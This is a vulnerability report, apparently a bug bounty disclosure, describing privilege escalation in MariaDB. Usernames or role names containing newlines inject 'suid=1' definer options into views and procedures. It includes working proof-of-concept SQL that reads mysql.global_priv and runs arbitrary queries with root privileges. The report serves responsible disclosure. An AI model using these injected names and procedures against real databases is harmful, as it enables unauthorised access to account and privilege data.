MariaDB · Report #3880451
Privilege escalation via user controlled usernames / roles and views
How it was found
Assuming a scenario where a user has control over the usernames (or roles) that are provisioned for their db, they may escalate privileges via a username or role that contains newline characters since view definers are saved as raw FILE_OPTIONS_STRING values.
Proof of Concept (username)
Initial setup
DROP USER IF EXISTS 'root
definer_host=localhost
suid=1'@'localhost';
CREATE USER 'root
definer_host=localhost
suid=1'@'localhost'
IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON testdb.* TO 'root
definer_host=localhost
suid=1'@'localhost';
FLUSH PRIVILEGES;
then as root\ndefiner_host=localhost\nsuid=1
DELIMITER //
CREATE OR REPLACE FUNCTION leak()
RETURNS LONGTEXT
DETERMINISTIC
SQL SECURITY INVOKER READS SQL DATA
BEGIN
DECLARE result LONGTEXT;
SELECT JSON_ARRAYAGG(
JSON_OBJECT('Host', Host, 'User', User, 'Priv', Priv)
) INTO result
FROM mysql.global_priv;
RETURN result;
END //
DELIMITER ;
CREATE OR REPLACE VIEW v AS SELECT leak();
SELECT * FROM mysql.global_priv;
-- ERROR 1142 (42000): SELECT command denied to user 'root
-- definer_host=localhost
-- suid=1'@'localhost' for table `mysql`.`global_priv`
SELECT * FROM v;
-- [{"Host": "localhost", "User": "mariadb.sys", "Priv": {"access":0,"plugin":"mysql_native_password","authentication_string":"","account_locked":true,"password_last_changed":0}},...]
Proof of Concept (roles)
CREATE ROLE 'root
definer_host=localhost
suid=1';
GRANT 'root
definer_host=localhost
suid=1' TO 'vortfu'@'localhost';
FLUSH PRIVILEGES;
then as vortfu (using the same leak() fn as above)
SET ROLE 'root
definer_host=localhost
suid=1';
CREATE OR REPLACE DEFINER=CURRENT_ROLE VIEW v AS SELECT leak();
SELECT * FROM v;
-- [{"Host": "localhost", "User": "mariadb.sys", "Priv": {"access":0,"plugin":"mysql_native_password","authentication_string":"","account_locked":true,"password_last_changed":0}},...]
Additionally, a similar behavior exists with stored proceedures (DEFINER=CURRENT_ROLE) and roles that match existing usernames
Proof of Concept (roles @)
CREATE ROLE 'root@localhost';
GRANT 'root@localhost' TO 'vortfu'@'localhost';
as vortfu
SET ROLE `root@localhost`;
CREATE DEFINER=CURRENT_ROLE PROCEDURE `vf-exec`(q TEXT)
SQL SECURITY DEFINER
EXECUTE IMMEDIATE q;
SELECT * FROM mysql.global_priv;
-- ERROR 1142 (42000): SELECT command denied to user 'vortfu'@'localhost' for table `mysql`.`global_priv`
CALL `vf-exec`('SELECT * FROM mysql.global_priv');
-- | localhost | mariadb.sys | {"access":0,"plugin":"mysql_native_password","authentication_string":"","account_locked":true,"password_last_changed":0}
-- ...
Impact
users may be able to execute SQL with the privileges of other users if they are able to select arbitrary usernames or roles to use.